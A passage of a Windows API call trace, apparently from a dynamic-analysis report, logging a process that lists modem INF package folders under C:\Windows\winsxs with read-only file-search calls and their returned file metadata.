	[0108.483] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmgatew.inf_31bf3856ad364e35_6.1.7600.16385_none_e996a8c57d55e098" (normalized: "c:\\windows\\winsxs\\amd64_mdmgatew.inf_31bf3856ad364e35_6.1.7600.16385_none_e996a8c57d55e098"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.483] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmgatew.inf_31bf3856ad364e35_6.1.7600.16385_none_e996a8c57d55e098\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.483] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.484] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43459e07, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x43459e07, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x4321e994, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x15e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmgatew.inf", cAlternateFileName="")) returned 1
	[0108.484] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.484] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.484] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmgcs.inf_31bf3856ad364e35_6.1.7600.16385_none_018280cbf469db17" (normalized: "c:\\windows\\winsxs\\amd64_mdmgcs.inf_31bf3856ad364e35_6.1.7600.16385_none_018280cbf469db17"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.484] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmgcs.inf_31bf3856ad364e35_6.1.7600.16385_none_018280cbf469db17\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.484] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.484] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ae75313, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3ae75313, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3adb6c42, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb854, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmgcs.inf", cAlternateFileName="")) returned 1
	[0108.484] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.484] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.485] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmgen.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_63255207814eeb7e" (normalized: "c:\\windows\\winsxs\\amd64_mdmgen.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_63255207814eeb7e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.485] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmgen.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_63255207814eeb7e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.485] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.485] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaca, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmgen.inf_loc", cAlternateFileName="MDMGEN~1.INF")) returned 1
	[0108.485] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.485] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.485] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmgen.inf_31bf3856ad364e35_6.1.7600.16385_none_240ed8e229603af8" (normalized: "c:\\windows\\winsxs\\amd64_mdmgen.inf_31bf3856ad364e35_6.1.7600.16385_none_240ed8e229603af8"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.486] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmgen.inf_31bf3856ad364e35_6.1.7600.16385_none_240ed8e229603af8\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.486] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.486] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x465e4400, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x465e4400, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x4646765e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x18670, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmgen.inf", cAlternateFileName="")) returned 1
	[0108.486] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.486] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.486] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl001.inf_31bf3856ad364e35_6.1.7600.16385_none_ccb7b8c62fbddb58" (normalized: "c:\\windows\\winsxs\\amd64_mdmgl001.inf_31bf3856ad364e35_6.1.7600.16385_none_ccb7b8c62fbddb58"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.486] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl001.inf_31bf3856ad364e35_6.1.7600.16385_none_ccb7b8c62fbddb58\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b404d17, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b404d17, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b404d17, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.486] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b404d17, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b404d17, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b404d17, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.486] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42128e2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x42128e2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x41f5fdce, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x15d14, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmgl001.inf", cAlternateFileName="")) returned 1
	[0108.486] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.486] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.487] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl002.inf_31bf3856ad364e35_6.1.7600.16385_none_cd40cafb48dc17c1" (normalized: "c:\\windows\\winsxs\\amd64_mdmgl002.inf_31bf3856ad364e35_6.1.7600.16385_none_cd40cafb48dc17c1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.487] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl002.inf_31bf3856ad364e35_6.1.7600.16385_none_cd40cafb48dc17c1\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b404d17, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b404d17, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b404d17, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.487] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b404d17, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b404d17, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b404d17, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.487] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fde6b11, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3fde6b11, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3fc69d6f, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x181aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmgl002.inf", cAlternateFileName="")) returned 1
	[0108.487] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.487] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.488] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl003.inf_31bf3856ad364e35_6.1.7600.16385_none_cdc9dd3061fa542a" (normalized: "c:\\windows\\winsxs\\amd64_mdmgl003.inf_31bf3856ad364e35_6.1.7600.16385_none_cdc9dd3061fa542a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.488] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl003.inf_31bf3856ad364e35_6.1.7600.16385_none_cdc9dd3061fa542a\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.488] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.488] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37c78903, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x37c78903, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x37b6df78, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x19714, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmgl003.inf", cAlternateFileName="")) returned 1
	[0108.488] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.488] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.488] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl004.inf_31bf3856ad364e35_6.1.7600.16385_none_ce52ef657b189093" (normalized: "c:\\windows\\winsxs\\amd64_mdmgl004.inf_31bf3856ad364e35_6.1.7600.16385_none_ce52ef657b189093"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.488] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl004.inf_31bf3856ad364e35_6.1.7600.16385_none_ce52ef657b189093\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.488] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.489] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eadbc91, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3eadbc91, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3ea8f9d7, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x18059c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmgl004.inf", cAlternateFileName="")) returned 1
	[0108.489] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.489] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.489] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl005.inf_31bf3856ad364e35_6.1.7600.16385_none_cedc019a9436ccfc" (normalized: "c:\\windows\\winsxs\\amd64_mdmgl005.inf_31bf3856ad364e35_6.1.7600.16385_none_cedc019a9436ccfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.489] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl005.inf_31bf3856ad364e35_6.1.7600.16385_none_cedc019a9436ccfc\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.489] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.489] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3254aa21, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3254aa21, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3248c350, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x16f24, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmgl005.inf", cAlternateFileName="")) returned 1
	[0108.489] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.489] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.490] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl006.inf_31bf3856ad364e35_6.1.7600.16385_none_cf6513cfad550965" (normalized: "c:\\windows\\winsxs\\amd64_mdmgl006.inf_31bf3856ad364e35_6.1.7600.16385_none_cf6513cfad550965"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.490] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl006.inf_31bf3856ad364e35_6.1.7600.16385_none_cf6513cfad550965\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
